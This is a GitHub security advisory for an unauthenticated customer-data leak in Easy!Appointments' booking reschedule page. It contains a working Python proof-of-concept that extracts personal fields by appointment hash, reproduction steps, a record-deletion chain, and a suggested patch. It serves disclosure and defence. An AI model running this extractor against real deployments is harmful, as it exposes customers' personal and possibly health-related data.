Skip to content

Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page

Moderate severity GitHub Reviewed Published Jun 15, 2026 in alextselegidis/easyappointments • Updated Jul 29, 2026

Package

composer alextselegidis/easyappointments (Composer)

Affected versions

<= 1.5.2

Patched versions

None

Description

Summary

The booking reschedule view at /index.php/booking/reschedule/{appointment_hash} (handled by Booking::index()) embeds the entire customer record as inline JavaScript (const vars = {... "customer_data": {...}, ...}) without authentication and without field whitelisting. Anyone in possession of the 12-character appointment_hash — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the ea_users table.

Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and id_roles.

Details

Root cause

application/controllers/Booking.php at line 184 reads the hash from the request, fetches the appointment, then loads the customer with Customers_model::find() — which returns the full row, no projection. It then passes the full record into script_vars(), which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only first_name and last_name; everything else is exposed for no functional reason.

// application/controllers/Booking.php (v1.5.2)
$appointment_hash = html_vars('appointment_hash');         // line 184
if (!empty($appointment_hash)) {
    $manage_mode = true;
    $results = $this->appointments_model->get(['hash' => $appointment_hash]);
    // ...
    $appointment = $results[0];
    $provider = $this->providers_model->find($appointment['id_users_provider']);
    $customer = $this->customers_model->find($appointment['id_users_customer']);  // ← full row, no projection
    $customer_token = md5(uniqid(mt_rand(), true));
    $this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);
}

script_vars([
    // ...
    'customer_data' => $customer,                          // ← all PII inlined in HTML
    'customer_token' => $customer_token,
]);

The URL pattern is in the CSRF exemption list (application/config/config.php, csrf_exclude_uris covers booking/.*) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.

Source-to-Sink

  • Source: HTTP GET to /index.php/booking/reschedule/{appointment_hash} — unauthenticated; hash read via html_vars('appointment_hash') (Booking.php:184).
  • Intermediate: appointments_model->get(['hash' => $hash]) → row fetched; customers_model->find($appointment['id_users_customer']) returns the full customers row.
  • Sink: script_vars(['customer_data' => $customer, ...]) (Booking.php:254-270) emits inline const vars = {..., "customer_data": {...}, ...} JavaScript in the response HTML.

Fields disclosed

Confirmed in PoC output (canary values used as markers):

customer_data: {
  "id": 4,
  "first_name": "Victim",
  "last_name": "Tester",
  "email": "victim.disclosure@example.invalid",
  "phone_number": "+1-555-0100",
  "address": "100 Privacy Lane",
  "city": "Sensitiveville",
  "zip_code": "00001",
  "timezone": "UTC",
  "language": "english",
  "custom_field_1": "CFLD1-CANARY",
  "is_private": "0",
  "ldap_dn": null,
  "id_roles": 3
}

Fields that would also leak when populated: mobile_number, state, notes (free-form, operators often store sensitive context here), custom_field_2–custom_field_5, ldap_dn.

Proof of Concept

#!/usr/bin/env python3
# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)
import argparse, json, re, sys, requests

PII_FIELDS = ["email","phone_number","mobile_number","address","city","state",
              "zip_code","notes","custom_field_1","custom_field_2","custom_field_3",
              "custom_field_4","custom_field_5","ldap_dn"]

def exploit(target, hash_):
    url = f"{target}/index.php/booking/reschedule/{hash_}"
    r = requests.get(url, timeout=15); r.raise_for_status()
    m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL)
    ea = json.loads(m.group(1))
    customer = ea.get("customer_data") or {}
    leaked = 0
    for f in PII_FIELDS:
        if customer.get(f) not in (None, "", 0):
            print(f"  {f:18s} = {customer[f]!r}"); leaked += 1
    print(f"[+] disclosed {leaked} PII fields without auth")
    return leaked

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("--target", default="http://localhost:8000")
    p.add_argument("--hash", required=True)
    a = p.parse_args()
    sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)

Reproduction

  1. Bring up the lab from the project's official docker-compose.yml (pinned to v1.5.2). Complete the one-time install at /index.php/installation (or php index.php console install from the php-fpm container).
  2. Book one appointment through the public flow (the bundled --seed helper does this automatically and prints the resulting hash).
  3. Run the unauthenticated extractor: 
    python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH>
  4. Observed output (verified 5/5 consecutive runs): 
    email              = 'victim.disclosure@example.invalid'
phone_number       = '+1-555-0100'
address            = '100 Privacy Lane'
city               = 'Sensitiveville'
zip_code           = '00001'
custom_field_1     = 'CFLD1-CANARY'
[+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.

The PoC and its docker-compose reproduction environment are attached.

Impact

A single anonymous GET request returns the customer's full record. The appointment_hash is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP Referer headers when the customer clicks an outbound link from the reschedule page.

For a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form notes and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).

A secondary chain worth flagging: the same response emits customer_token, a 600-second cache key bound to the customer ID. If display_delete_personal_information is enabled, an attacker holding the hash can also trigger a customer-record deletion at /privacy/delete_personal_information using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.

Workarounds

Operators can mitigate temporarily by:

  1. Disabling the reschedule link in confirmation emails (in Booking_settings/Email_settings templates), forcing customers to re-book instead.
  2. Disabling the public booking page entirely (disable_booking setting) for deployments that can tolerate it.

Neither workaround removes the root cause; an attacker who already holds a hash can still extract.

Suggested fix

Whitelist customer fields before inlining. The reschedule UI only needs first/last name:

--- a/application/controllers/Booking.php
+++ b/application/controllers/Booking.php
@@ -239,7 +239,12 @@ class Booking extends EA_Controller
             $appointment = $results[0];
             $provider = $this->providers_model->find($appointment['id_users_provider']);
-            $customer = $this->customers_model->find($appointment['id_users_customer']);
+            $customer_record = $this->customers_model->find($appointment['id_users_customer']);
+            $customer = [
+                'id'         => $customer_record['id'],
+                'first_name' => $customer_record['first_name'],
+                'last_name'  => $customer_record['last_name'],
+            ];
             $customer_token = md5(uniqid(mt_rand(), true));

The same pattern likely needs auditing in Booking_confirmation::of() and Booking_cancellation::of() — anywhere the customer record is loaded and inlined into a publicly-reachable view.

Credits

  • Discovered through source-code audit by peoplstar

References

  • application/controllers/Booking.php lines 184-270 (v1.5.2)
  • application/models/Customers_model.php::find — returns the full row, no projection
  • application/config/config.php csrf_exclude_uris — whitelisting booking/.*
  • Related prior PR #1753 (permission checks on appointment search) — same project, adjacent code, vendor previously accepted this class of issue.

docker-compose.yml
easyapp_pii_disclosure.py
requirements.txt
consistency_test.txt
leaked_customer_data.txt

References

@alextselegidis alextselegidis published to alextselegidis/easyappointments Jun 15, 2026
Published by the National Vulnerability Database Jul 14, 2026
Published to the GitHub Advisory Database Jul 29, 2026
Reviewed Jul 29, 2026
Last updated Jul 29, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(28th percentile)

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

CVE ID

CVE-2026-52837

GHSA ID

GHSA-xgr6-pqjv-3pf8

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.